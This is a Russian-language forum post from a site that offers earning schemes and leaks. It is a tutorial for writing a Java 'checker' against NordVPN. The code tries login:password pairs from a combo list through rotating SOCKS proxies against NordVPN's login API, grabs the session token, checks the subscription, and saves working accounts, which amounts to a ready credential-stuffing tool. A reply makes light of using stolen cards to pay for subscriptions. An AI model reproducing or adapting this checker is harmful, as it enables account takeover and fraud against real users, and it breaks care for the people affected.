• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Пишем свой чекер на NordVPN

Dyrt hjort

Местный
Сообщения
101
Реакции
161
0 руб.
Всем привет. Думаю пора мне внести свою лепту на форум. Сегодня я постараюсь научить хоть кого-нибудь как написать свой чекер на сервис nordvpn используя язык программирования java, а так как я не знаю как писать красивые речи, то давайте приступать.

1. Скачиваем среду разработки(лично я использую Intellij IDEA вы можете скачать ее или eclipce)
2. Cоздаем проект( я создал мавен, но вы можете создать как и обычный java проект, либо же Gradle все от вашего вкуса), если вы используете мавен, то добавьте в pom.xml следующие строки:
Код:
<dependencies>
        <dependency>
            <groupId>com.squareup.okhttp3</groupId>
            <artifactId>okhttp</artifactId>
            <version>3.10.0</version>
        </dependency>
    </dependencies>
3. Теперь создадим пакет(не обязательно, но все же) su.vlmi.nordvpn
4. В этом пакете создаем классы Main, Nordvpn, Basa, Prox, Chp и Writ:
Main с гавным методом Main
Код:
package su.vlmi.nordvpn

public class Main{
    public static void main(String[] args) throws Exception {
}
}
Nordvpn c методом nord
Код:
package su.vlmi.nordvpn

public class Nordvpn {

        public void nord() throws IOException {
}
}
Basa c 2-мя методами maxb - будет давать нам кол-во строк в файле и getlog - будет давать нам содержимое файла
Код:
package su.vlmi.nordvpn

public class Basa {

    String dir = "path to u file with base";
    public int maxb() throws IOException {
}
 public static String getlog(int i) throws IOException {
}
}
Prox так же с 2-мя методами имеющих похожие на методы из Basa задачи
Код:
package su.vlmi.nordvpn

public class Prox{
    String dir = "path to u file with proxy";
     public int maxp() throws IOException{
}
    public static String getPro(){
}
}
Chp c методом getCp - проверяет прокси на валид
Код:
package su.vlmi.nordvpn
public class Chp {

    public static String getCp(int i) throws IOException{
}
}

Стринговая(строковая) переменная дир содержит в себе путь до файла(с базой и проксями)

Writ
Код:
package su.vlmi.nordvpn
public class Writ {
    public void goods(String a) throws IOException{
    String dir = "A way to write the result";

}
   public void bads(String a) throws IOException
   String dir = "A way to write the result";
}

5. Теперь давайте создадим запрос в методое nord(), который находиться в классе Nordvpn используя библиотеку okhttp. Я использую данную библиотеку благодаря поддержке проксей типа socks4\5
Код:
int p = new Basa().maxb(); // переменную p приравниваем к кол-ву строк в файле с базой
        int end =0; // переменная для цикла
        int q = new Prox().maxp(); // переменную q приравниваем к кол-ву строк в файле с проксями
        String js = ""; // тут будет тело содержащее логин  + пароль в виде json

        while(end < p) { // цикл, который будет работать столько кругов, сколько строк в файле.
            String px = "";
            String a = "";
            for (int i = 0; i <= q; i++) {
                try {
                    a = new Chp().getCp(i);
                    if(a != null){
                        px = a;
                        break;
                    }
                }catch (IOException e1){
                }
                if (i == q){
                    i = 0;
                }
            }
            if(px == null){
                break;
            }
            Proxy proxy = null  ;
            try {
                String[] socs = px.split(":");// тут мы запрашиваем строку содержащую в себе хост:порт и разбиваем ее split-ом
                String host = socs[0]; // значение до ":" идет сюда
                String prt = socs[1];//значение после ":" идет сюда
                int port = Integer.parseInt(prt);// тут мы из строки делаем число
                proxy = new Proxy(Proxy.Type.SOCKS, new InetSocketAddress(host, port));
            }catch (Exception e3){
                e3.printStackTrace();
            }
            try {
                String[] lp = Basa.getlog(end).split(":");// тут происходит аналогичные действия что и с проксями
                if(lp != null) {
                    String log = lp[0];
                    String pass = lp[1];
                    js = "{\"login\":\"" + log + "\",\"password\":\"" + pass + "\"}";
                }else{
                    break;
                }
            }catch (Exception e2){
                e2.printStackTrace();
            }
            if(js == null){
                break;
            }
            OkHttpClient client = new OkHttpClient.Builder().proxy(proxy).build();
            MediaType MIMEType= MediaType.parse("application/json; charset=utf-8");
            RequestBody requestBody = RequestBody.create (MIMEType,js);
            Request request = new Request.Builder().url("https://ucp.nordvpn.com/api/v1/users/login").post(requestBody).build();
            Response response = null;
            try{
                response = client.newCall(request).execute();
            }catch (Exception e4){
            }
            if(response.code() == 204){
                String token = "";
                for (String cookie:response.header("Set-cookie").split(";")) {//тут мы проходим по всем хедерам в ответе содержащих в себе "Set-cookie" и спилтим их
                    if(cookie.split("=")[0].equals("token")) {//если в найденном хедере есть знак "=" и слово токен, то
                        token = cookie;//переменную токен мы приравниваем к значению токена из куков
                    }
                }
//тут мы делаем get запрос для проверки подписки
                request = new Request.Builder()
                        .header("cookie", token)
                        .url("https://ucp.nordvpn.com/api/v1/users/subscriptions")
                        .get()
                        .build();
                response = client.newCall(request).execute();
                //Тут вам домашнее задание дописать пару строк для парсинга json ответа.
                System.out.println(response.body().string());
              new Writ().goods(js);
            }else{
             new Writ().bads(js);
            }
        }
6. Cейчас заполним класс Basa и Prox:
Код:
static String dir = "path to u file with base";
    public int maxb() throws IOException {
//тут мы возвращаем кол-во строк в файле
        return Files.readAllLines(Paths.get(dir), StandardCharsets.UTF_8).size();
    }


    public static String getlog(int i) throws IOException {
//тут мы читаем файл по строчно и передаем значения в метод nord()
        File file = new File(dir);
        FileReader fr = new FileReader(file);
        BufferedReader reader = new BufferedReader(fr);       
String line = reader.readLine();
for(int y = 0; y < i;y++){
    line = reader.readLine();
}
return String.valueOf(line);
    }
Код:
static String dir = "path to u file with base";
public int maxp() throws IOException {
    return Files.readAllLines(Paths.get(dir), StandardCharsets.UTF_8).size();
}

public static String getProx(int i) throws IOException {
    File file = new File(dir);
    FileReader fr = new FileReader(file);
    BufferedReader reader = new BufferedReader(fr);
    String line = reader.readLine();
    for(int y = 0; y < i;y++){
        line = reader.readLine();
    }
    return String.valueOf(line);
}
7. Сейчас сделаем проверку проксей на валид в классе Chp:
Код:
String list = new Prox().getProx(i);

String host = "";
int portt = 0 ;
String sp = list;
String[] hp = sp.split(":");
host = hp[0];
portt = Integer.parseInt(hp[1]);
Proxy Poy = new Proxy(Proxy.Type.SOCKS, new InetSocketAddress(host, portt));

OkHttpClient client =  new OkHttpClient.Builder()
        .proxy(Poy)
        .connectTimeout(7, TimeUnit.SECONDS)
        .writeTimeout(5, TimeUnit.SECONDS)
        .readTimeout(5, TimeUnit.SECONDS)
        .build();
Request req = new Request.Builder().url("https://google.com").build();
Response response;
try {
    response = client.newCall(req).execute();
}catch (IOException e){
    return null;
}
if(response.code() == 200){
    System.out.println("gooood!");
    return String.valueOf(list);
}
return null;

8. Делаем класс для записи результатов
Код:
//код для обоих методов
this.a = a + "\r\n";//"\r\n" позволит записывать в столбик
Files.write(Paths.get(dir), a.getBytes(), StandardOpenOption.APPEND);
9. Ну и напоследок напишем 1 строчку в Main:
public static void main(String[] args) throws Exception {
new Nordvpn().nord();
}

Теперь вам осталось сбилдить и по желанию дописать гуи.(Псс, ты можешь не билдить, а прямо из среды разработки начать брутить просто запустив код.
Надеюсь данная тема была вам полезна и вы хоть чем-то научились. Будут вопросы - задавайте, не я так другие ответят :D

P.S. Я знаю, что код не идеальный.
P,S,S Если тема не в том разделе, то прошу извинить так как не знал куда пихать данную тему.
 

palka70

Участник
Сообщения
25
Реакции
33
0 руб.
Please note, if you want to make a deal with this user, that it is blocked.
хе.... я лично использую данный сервис,но к чему такие сложности? любой брут палки пендосовсой оплатит нам годовую подписку,при должном умении :acute: но автору конечно плюс в карму!!!
 
Сверху Снизу